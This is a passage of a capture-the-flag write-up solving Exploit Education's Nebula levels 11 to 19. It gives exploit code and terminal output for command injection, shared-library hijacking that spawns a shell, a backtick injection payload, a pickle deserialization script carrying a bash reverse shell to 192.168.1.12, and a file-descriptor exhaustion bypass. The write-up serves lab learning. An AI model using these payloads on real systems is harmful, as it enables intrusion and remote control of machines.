The above attacker code (taken from stackoverflow Nebula Level 11 Solution) can be used to guess the PID of the flag11 binary. When we pipe the stdout to the stdin of the victim the chances are high it is just plus one of our own exploit binary. Otherwise popen() could be used and injecting pid from ps grep flag11. The time part is super easy because it is the time in seconds. To get a stable success rate we also use the filename for the next second. The above can be compiled using GCC.
1
gcc -o exploit exploit_code.c

Running the exploit provides the following output, but it is possible to SSH as the flag11 user since it was possible to inject into the .ssh folder.

1
2
3
4
level11@nebula:/tmp$ ./exploit | /home/flag11/flag11
blue = 2048, length = 2048, pink = 395
blue = 1653, length = 2048, pink = 0
flag11: fread fail(blue = 1653, length = 2048): Operation not permitted

Level12

Link: https://exploit.education/nebula/level-12/

Level 12 states that a backdoor exists on port 50001 and the following source code is provided.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
local socket = require("socket")
local server = assert(socket.bind("127.0.0.1", 50001))

function hash(password)
  prog = io.popen("echo "..password.." | sha1sum", "r")
  data = prog:read("*all")
  prog:close()

  data = string.sub(data, 1, 40)

  return data
end


while 1 do
  local client = server:accept()
  client:send("Password: ")
  client:settimeout(60)
  local line, err = client:receive()
  if not err then
      print("trying " .. line) -- log from where ;\
      local h = hash(line)

      if h ~= "4754a4f4bd5787accd33de887b9250a0691dd198" then
          client:send("Better luck next time\n");
      else
          client:send("Congrats, your token is 413**CARRIER LOST**\n")
      end

  end

  client:close()
end

The following program takes user input and uses the hash function check whether the user input password matches the password hash “4754a4f4bd5787accd33de887b9250a0691dd198”. The issue here arises from the usage of the popen function which is vulnerable to command injection. As such, you can execute arbitrary commands by injection metacharacters such as ; and |.

Level13

Link: https://exploit.education/nebula/level-13/

Level 13 states that a security check is in place that prevents the program from continuing execution if the user invoking it does not match a specific user id. The following source code is provided.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <string.h>

#define FAKEUID 1000

int main(int argc, char **argv, char **envp)
{
  int c;
  char token[256];

  if(getuid() != FAKEUID) {
      printf("Security failure detected. UID %d started us, we expect %d\n", getuid(), FAKEUID);
      printf("The system administrators will be notified of this violation\n");
      exit(EXIT_FAILURE);
  }

  // snip, sorry :)

  printf("your token is %s\n", token);
  
}

The security check if verifying whether the UID is 1000. If it isn’t, an error message is printed, otherwise the token is printed. This check can be bypassed by using LD_PRELOAD function to load a shared object file containing a custom getuid() function. Shared libraries are libraries that are loaded by programs when they start. When a shared library is installed properly, all programs that start afterward automatically use the new shared library. The LD_PRELOAD trick exploits functionality provided by the dynamic linker on Unix systems that allows you to tell the linker to bind symbols provided by a certain shared library before other libraries.

Using LD_PRELOAD, it is not possible to run SUID binaries. However, it is possible to make a copy of the flag13 binary without the SUID bit set and LDF_PRELOAD can be used to spoof the suid bit, this can then be used to get the token which can be used to SSH as the flag13 user.

The following C shared library can be created which returns the UID 1000.

1
2
3
4
int getuid() {
    return 1000;
}

This can then be compiled, set as a shared library and then ran with a copy of the flag13 binary.

1
2
3
4
level13@nebula:~$ gcc -shared -fPIC -o fakesuid.so fakesuid.c      
level13@nebula:~$ LD_PRELOAD=/home/level13/fakesuid.so /home/level13/flag13_backup 
your token is b705702b-76a8-42b0-8844-3adabbe5ac58
level13@nebula:~$ 

Level14

Link: https://exploit.education/nebula/level-14/

Level 14 states that a program resides in /home/flag14/flag14. It encrypts input and writes it to standard output. An encrypted token file is also in that home directory.

Running the binary with random test input, the following can be deduced:

1
2
3
4
5
6
7
8
9
10
11
12
13
level14@nebula:/home/flag14$ ./flag14 
./flag14
	-e	Encrypt input
level14@nebula:/home/flag14$ ./flag14 -e
aaaaaaaaaaaaaaaaaa
abcdefghijklmnopqr
^C
level14@nebula:/home/flag14$ ./flag14 -e
bbbbbbbbbbbbbbbbbb
bcdefghijklmnopqrs
level14@nebula:/home/flag14$ ./flag14 -e
123456789
13579;=?A

It appears that each character is rotated by its index, starting with 0. So a becomes a, a[1] becomes b (ax1), a[2] becomes c (ax2) etc.

The following python code can be used to reverse this process. It enumerates through each value in the encrypted token gets the original value by subtracting the ord(index) of the value with its ASCII table value.

1
2
3
4
5
6
7
token = '857:g67?5ABBo:BtDA?tIvLDKL{MQPSRQWW.'
count = 0
result = []
for value in token:
  result.append(chr((ord(value) - count)))
  count +=1
print ("".join(result))

Running this program will return the following token: 8457c118-887c-4e40-a5a6-33a25353165. This can be used to log in to the flag 14 user account.

Level15

Link: https://exploit.education/nebula/level-15/

Level 15 gives the following information:

1
2
3
4
5
6
7
strace the binary at /home/flag15/flag15 and see if you spot anything out of the ordinary.

You may wish to review how to “compile a shared library in linux” and how the libraries are loaded and processed by reviewing the dlopen manpage in depth.

Clean up after yourself :)

To do this level, log in as the level15 account with the password level15. Files for this level can be found in /home/flag15.

By running strace on the binary, it can be deduced that the binary is trying to load a shared library libc.so.6 from within the /var/tmp/flag15 folder.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
level15@nebula:/home/flag15$ strace ./flag15 
execve("./flag15", ["./flag15"], [/* 19 vars */]) = 0
brk(0)                                  = 0x81e9000
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb770c000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/i686/sse2/cmov", 0xbfbd0174) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/i686/sse2", 0xbfbd0174) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/i686/cmov", 0xbfbd0174) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/i686", 0xbfbd0174) = -1 ENOENT (No such file or directory)

Shared libraries are libraries that are loaded by programs when they start. When a shared library is installed properly, all programs that start afterward automatically use the new shared library. very shared library has a special name called the “soname”. The soname has the prefix “lib”, the name of the library, the phrase `”.so”, followed by a period and a version number. The dynamic linker can be run either indirectly by running some dynamically linked program or shared object. The programs ld.so and ld-linux.so* find and load the shared objects (shared libraries) needed by a program, prepare the program to run, and then run it. LD_PRELOAD is an optional environmental variable containing one or more paths to shared libraries, or shared objects, that the loader will load before any other shared library including the C runtime library (libc.so) This is called preloading a library. To avoid this mechanism being used as an attack vector for suid/sgid executable binaries, the loader ignores LD_PRELOAD if ruid != euid. For such binaries, only libraries in standard paths that are also suid/sgid will be preloaded.

The RPATH of the binary can also be found by using objdump. RPATH is used by the dynamic linker at run time to search for shared libraries related to a binary. As mentioned, the loader ignores LD_PRELOAD if ruid != euid but this doesn’t apply to standard RPATH.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
level15@nebula:/home/flag15$ objdump -p flag15 

flag15:     file format elf32-i386

Program Header:
    PHDR off    0x00000034 vaddr 0x08048034 paddr 0x08048034 align 2**2
         filesz 0x00000120 memsz 0x00000120 flags r-x
  INTERP off    0x00000154 vaddr 0x08048154 paddr 0x08048154 align 2**0
         filesz 0x00000013 memsz 0x00000013 flags r--
    LOAD off    0x00000000 vaddr 0x08048000 paddr 0x08048000 align 2**12
         filesz 0x000005d4 memsz 0x000005d4 flags r-x
    LOAD off    0x00000f0c vaddr 0x08049f0c paddr 0x08049f0c align 2**12
         filesz 0x00000108 memsz 0x00000110 flags rw-
 DYNAMIC off    0x00000f20 vaddr 0x08049f20 paddr 0x08049f20 align 2**2
         filesz 0x000000d0 memsz 0x000000d0 flags rw-
    NOTE off    0x00000168 vaddr 0x08048168 paddr 0x08048168 align 2**2
         filesz 0x00000044 memsz 0x00000044 flags r--
EH_FRAME off    0x000004dc vaddr 0x080484dc paddr 0x080484dc align 2**2
         filesz 0x00000034 memsz 0x00000034 flags r--
   STACK off    0x00000000 vaddr 0x00000000 paddr 0x00000000 align 2**2
         filesz 0x00000000 memsz 0x00000000 flags rw-
   RELRO off    0x00000f0c vaddr 0x08049f0c paddr 0x08049f0c align 2**0
         filesz 0x000000f4 memsz 0x000000f4 flags r--

Dynamic Section:
  NEEDED               libc.so.6
  RPATH                /var/tmp/flag15
  INIT                 0x080482c0
  FINI                 0x080484ac
  GNU_HASH             0x080481ac
  STRTAB               0x0804821c
  SYMTAB               0x080481cc
  STRSZ                0x0000005a
  SYMENT               0x00000010
  DEBUG                0x00000000
  PLTGOT               0x08049ff4
  PLTRELSZ             0x00000018
  PLTREL               0x00000011
  JMPREL               0x080482a8
  REL                  0x080482a0
  RELSZ                0x00000008
  RELENT               0x00000008
  VERNEED              0x08048280
  VERNEEDNUM           0x00000001
  VERSYM               0x08048276

Version References:
  required from libc.so.6:
    0x0d696910 0x00 02 GLIBC_2.0

The program loads the shared libraries before it executes, if we create a custom shared library with the same name of libc.so.6 then place it under rpath is set (/var/tmp/flag16), the program running with flag16 privilege will execute my custom code.

A shared library can be created by creating a C file and creating the libc_start_main function which can have a system call to the /bin/bash binary. libc_start_main is a function that belongs to libc.so.6, responsible for setting up the environment for our process and, after that, call main function. You will also need to provide the __cxa_finalize symbol or else the C code will return with an exit status. This can be verified with LD_DEBUG

1
2
3
4
5
6
7
8
9
10
11
12
#include <stdio.h>
#include <sys/syscall.h>
#include <unistd.h>

void __cxa_finalize(void *d) {
    return;
}

int __libc_start_main(int (*main) (int, char * *, char * *), int argc, char * * ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end)) {
    system("/bin/sh");
    return 0;
}

During compilation, you will also need to provide the version reference for libc.so.6, in this case, it is GLIBC_2.0. This can be seen in the previous objdump output. As such, a file can be created with the following.

1
GLIBC_2.0{};

This can then be compiled using GCC.

1
gcc -shared -static-libgcc -fPIC -Wl,--version-script=version.ld,-Bstatic exploit.c -o libc.so.6

This can then be used to get a shell as the flag15 user.

Level16

Link: https://exploit.education/nebula/level-16/

Level 16 states that the following perl script is running on port 1616.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#!/usr/bin/env perl

use CGI qw{param};

print "Content-type: text/html\n\n";

sub login {
  $username = $_[0];
  $password = $_[1];

  $username =~ tr/a-z/A-Z/; # conver to uppercase
  $username =~ s/\s.*//;        # strip everything after a space

  @output = `egrep "^$username" /home/flag16/userdb.txt 2>&1`;
  foreach $line (@output) {
      ($usr, $pw) = split(/:/, $line);
  

      if($pw =~ $password) {
          return 1;
      }
  }

  return 0;
}

sub htmlz {
  print("<html><head><title>Login resuls</title></head><body>");
  if($_[0] == 1) {
      print("Your login was accepted<br/>");
  } else {
      print("Your login failed<br/>");
  }    
  print("Would you like a cookie?<br/><br/></body></html>\n");
}

htmlz(login(param("username"), param("password")));

Looking at the above script, the following line is vulnerable to command/argument injection.

1
@output = `egrep "^$username" /home/flag16/userdb.txt 2>&1`;

However, the above script will turn the user provided username to uppercase and will strip everything after a space (line11 and line12). An easy way to bypass this is to use backticks with the following payload where exploit is a bash script: /*/EXPLOIT.SH.

Within the bash script, the following payload can be inserted.

1
2
3
level16@nebula:~$ cat /tmp/EXPLOIT.SH 
#!/bin/bash
getflag > /tmp/flag

This is needed because it is not possible to inject directly into the script and view results directly.

1
2
3
4
level16@nebula:~$ vi /tmp/EXPLOIT
level16@nebula:~$ nc 127.0.0.1 1616
GET /index.cgi?username=%24%28%2F%2A%2FEXPLOIT.SH%29&password=
Content-type: text/html

This can then be run to execute the getflag command as the flag16 user.

Level17

Link: https://exploit.education/nebula/level-17/

Level 17 states that a python script is running on port 10007 that contains a vulnerability. The source code of this program is shown below:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/usr/bin/python

import os
import pickle
import time
import socket
import signal

signal.signal(signal.SIGCHLD, signal.SIG_IGN)

def server(skt):
  line = skt.recv(1024)

  obj = pickle.loads(line)

  for i in obj:
      clnt.send("why did you send me " + i + "?\n")

skt = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
skt.bind(('0.0.0.0', 10007))
skt.listen(10)

while True:
  clnt, addr = skt.accept()

  if(os.fork() == 0):
      clnt.send("Accepted connection from %s:%d" % (addr[0], addr[1]))
      server(clnt)
      exit(1)

The above program takes data via a network socket, uses pickle (serialization) and then prints the data back. The pickle module within is not secure against data provided by user input and can result in deserialization attacks.

The following attacker script can be used to take a command such as bash -i >& /dev/tcp/192.168.1.12/4444 0>&1 which when executed will run bash, open a network socket and will bind bash and connect back to an attacker controlled IP address.

This is the serialized using pickle and this data is then written to a file.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import pickle
import sys
import base64
import os

COMMAND = "bash -i >& /dev/tcp/192.168.1.12/4444 0>&1"

class PickleRce(object):
    def __reduce__(self):
        import os
        return (os.system,(COMMAND,))


os.system("touch exploit")
with open('exploit', "wb") as exploit:
    pickle.dump(PickleRce(),exploit, pickle.HIGHEST_PROTOCOL)     

This data can now be sent to the python script.

1
2
3
4
5
6
snoopy@snoopy-XPS-15-9570:~$ cat exploit 
�cposix
system
qU*bash -i >& /dev/tcp/192.168.1.12/4444 0>&1q�qRq.snoopy@snoopy-XPS-15-9570:~$ cat exploit | nc -nv 192.168.1.24 10007
Connection to 192.168.1.24 10007 port [tcp/*] succeeded!
Accepted connection from 192.168.1.12:33428

This will then connect back to a netcat listener listening on port 4444.

Level18

Link: https://exploit.education/nebula/level-18/

Level 18 provides the source code for the following C program. It is also stated that there are multiple ways to complete this challenge.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
#include <fcntl.h>
#include <getopt.h>

struct {
  FILE *debugfile;
  int verbose;
  int loggedin;
} globals;

#define dprintf(...) if(globals.debugfile) \
  fprintf(globals.debugfile, __VA_ARGS__)
#define dvprintf(num, ...) if(globals.debugfile && globals.verbose >= num) \
  fprintf(globals.debugfile, __VA_ARGS__)

#define PWFILE "/home/flag18/password"

void login(char *pw)
{
  FILE *fp;

  fp = fopen(PWFILE, "r");
  if(fp) {
      char file[64];

      if(fgets(file, sizeof(file) - 1, fp) == NULL) {
          dprintf("Unable to read password file %s\n", PWFILE);
          return;
      }
                fclose(fp);
      if(strcmp(pw, file) != 0) return;       
  }
  dprintf("logged in successfully (with%s password file)\n",
      fp == NULL ? "out" : "");
  
  globals.loggedin = 1;

}

void notsupported(char *what)
{
  char *buffer = NULL;
  asprintf(&buffer, "--> [%s] is unsupported at this current time.\n", what);
  dprintf(what);
  free(buffer);
}

void setuser(char *user)
{
  char msg[128];

  sprintf(msg, "unable to set user to '%s' -- not supported.\n", user);
  printf("%s\n", msg);

}

int main(int argc, char **argv, char **envp)
{
  char c;

  while((c = getopt(argc, argv, "d:v")) != -1) {
      switch(c) {
          case 'd':
              globals.debugfile = fopen(optarg, "w+");
              if(globals.debugfile == NULL) err(1, "Unable to open %s", optarg);
              setvbuf(globals.debugfile, NULL, _IONBF, 0);
              break;
          case 'v':
              globals.verbose++;
              break;
      }
  }

  dprintf("Starting up. Verbose level = %d\n", globals.verbose);

  setresgid(getegid(), getegid(), getegid());
  setresuid(geteuid(), geteuid(), geteuid());
  
  while(1) {
      char line[256];
      char *p, *q;

      q = fgets(line, sizeof(line)-1, stdin);
      if(q == NULL) break;
      p = strchr(line, '\n'); if(p) *p = 0;
      p = strchr(line, '\r'); if(p) *p = 0;

      dvprintf(2, "got [%s] as input\n", line);

      if(strncmp(line, "login", 5) == 0) {
          dvprintf(3, "attempting to login\n");
          login(line + 6);
      } else if(strncmp(line, "logout", 6) == 0) {
          globals.loggedin = 0;
      } else if(strncmp(line, "shell", 5) == 0) {
          dvprintf(3, "attempting to start shell\n");
          if(globals.loggedin) {
              execve("/bin/sh", argv, envp);
              err(1, "unable to execve");
          }
          dprintf("Permission denied\n");
      } else if(strncmp(line, "logout", 4) == 0) {
          globals.loggedin = 0;
      } else if(strncmp(line, "closelog", 8) == 0) {
          if(globals.debugfile) fclose(globals.debugfile);
          globals.debugfile = NULL;
      } else if(strncmp(line, "site exec", 9) == 0) {
          notsupported(line + 10);
      } else if(strncmp(line, "setuser", 7) == 0) {
          setuser(line + 8);
      }
  }

  return 0;
}

Looking at the main function, the program looks for -d file which enables logging to the provided log file and -v` to increase the verbosity level.

One interesting thing to note right away is the following code block which opens the /home/flag18/password file and compares the input against the contents of that file.

A problem here arises because global.loggedin = 1 is outside of the if(fp) block. As such, if an fopen() call returns NULL, it is possible to skip the if conditional block and be loggedin.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#define PWFILE "/home/flag18/password"

void login(char *pw)
{
  FILE *fp;

  fp = fopen(PWFILE, "r");
  if(fp) {
      char file[64];

      if(fgets(file, sizeof(file) - 1, fp) == NULL) {
          dprintf("Unable to read password file %s\n", PWFILE);
          return;
      }
                fclose(fp);
      if(strcmp(pw, file) != 0) return;       
  }
  dprintf("logged in successfully (with%s password file)\n",
      fp == NULL ? "out" : "");
  
  globals.loggedin = 1;

}

}

One way to get the fopen() call to return NULL is by exhausting the system’s available file descriptors. For each Linux system, there are limits defined for the maximum amount of files that can be opened. THe below command shows the amount of descriptors presently allocated and the maximum descriptors that can be used.

1
2
level18@nebula:~$ sysctl fs.file-nr
fs.file-nr = 352	0	100898

Looking at the above output, 320 out of 100898 file descriptors are currently being used.

However, there are some limits defined for how many files can be opened per process; ulimit -a command can be used to get this information. The H option within ulimit can be used to get Hard limits. This requires root privileges to modify. The S option within ulimit can be used to get Soft limits. This option can be modified by the current user:

1
2
3
4
5
level18@nebula:~$ ulimit -Sa |grep files
open files                      (-n) 1024
level18@nebula:~$ ulimit -Ha |grep files
open files                      (-n) 4096
level18@nebula:~$

By knowing that 1024 is the open file limit, one way to solve this challenge is to exhaust the filedescriptors up all system file handlers and then call the flag18 program’s login command that will fail opening the password file and will set the loggedin flag to 1. 3 descriptors should also be spared for stdin, stdout and stderr so it is possible to run getflag after running the program.

1
2
3
4
5
6
level18@nebula:/tmp$ python -c 'print("login foo\n"*1021)' > /home/level18/foo
level18@nebula:/tmp$ python -c 'print("closelog")' >> /home/level18/foo
level18@nebula:/tmp$  python -c 'print("shell")' >> /home/level18/foo
level18@nebula:/tmp$ cat /home/level18/foo | /home/flag18/flag18 -d /dev/tty
Starting up. Verbose level = 0
logged in successfully (without password file)

The above python script tries to login 1021 times, closes the connection and gets a system shell. This can then be used to run the flag program and a /dev/tty can be specified to get a shell.

In the above command, anything specified after the -d parameter and anything following it to be ignored. We can achieve this by passing either –init-file or –rcfile as our first argument to flag18. The -d parameter will then be ignored by bash

Level19

Link: https://exploit.education/nebula/level-19/

Level 19 provides the following source and mentions that there is a flaw in the below program in how it operates.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
#include <sys/stat.h>

int main(int argc, char **argv, char **envp)
{
  pid_t pid;
  char buf[256];
  struct stat statbuf;

  /* Get the parent's /proc entry, so we can verify its user id */

  snprintf(buf, sizeof(buf)-1, "/proc/%d", getppid());

  /* stat() it */

  if(stat(buf, &statbuf) == -1) {
      printf("Unable to check parent process\n");
      exit(EXIT_FAILURE);
  }

  /* check the owner id */

  if(statbuf.st_uid == 0) {
      /* If root started us, it is ok to start the shell */

      execve("/bin/sh", argv, envp);
      err(1, "Unable to execve");
  }

  printf("You are unauthorized to run this program\n");
}

By looking at the above program, it executes a shell if the parent process was started by root. Within the program itself, getppid is used to achieve this. getppid returns the pid of the parent of the calling process is what defines whether a shell should be given or not. getppid returns the PID of init e.g. 1 and /proc/1 is owned by root. The way to solve this challenge is to kill the parent process which called the flag19 program before the program calls getppid.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include <unistd.h>

int main(int argc, char **argv, char **envp) {
    int childPID = fork();
    if(childPID >= 0) { // forked
        if(childPID == 0) { // child
            sleep(1);
            setresuid(geteuid(),geteuid(),geteuid());
            char *args[] = {"/bin/sh", "-c", "/bin/getflag", NULL};
            execve("/home/flag19/flag19", args, envp);
        }
    }
    return 0;
}

The above program creates a process using fork. Fork system call is used for creating a new process, which is called child process, which runs concurrently with the process that makes the fork() call (parent process). After a new child process is created, both processes will execute the next instruction following the fork() system call. sleep is then used to force create an orphan process that would be claimed by init, which is owned by root. Then the exec call is done to run the flag19 program which is execute the getflag command.

This brings to the end Exploit Exercises Nebula. Overall, the challenges were great fun and difficulty increased throughout and required me to look at multiple writeups online to complete this.

This post is licensed under CC BY 4.0 by the author.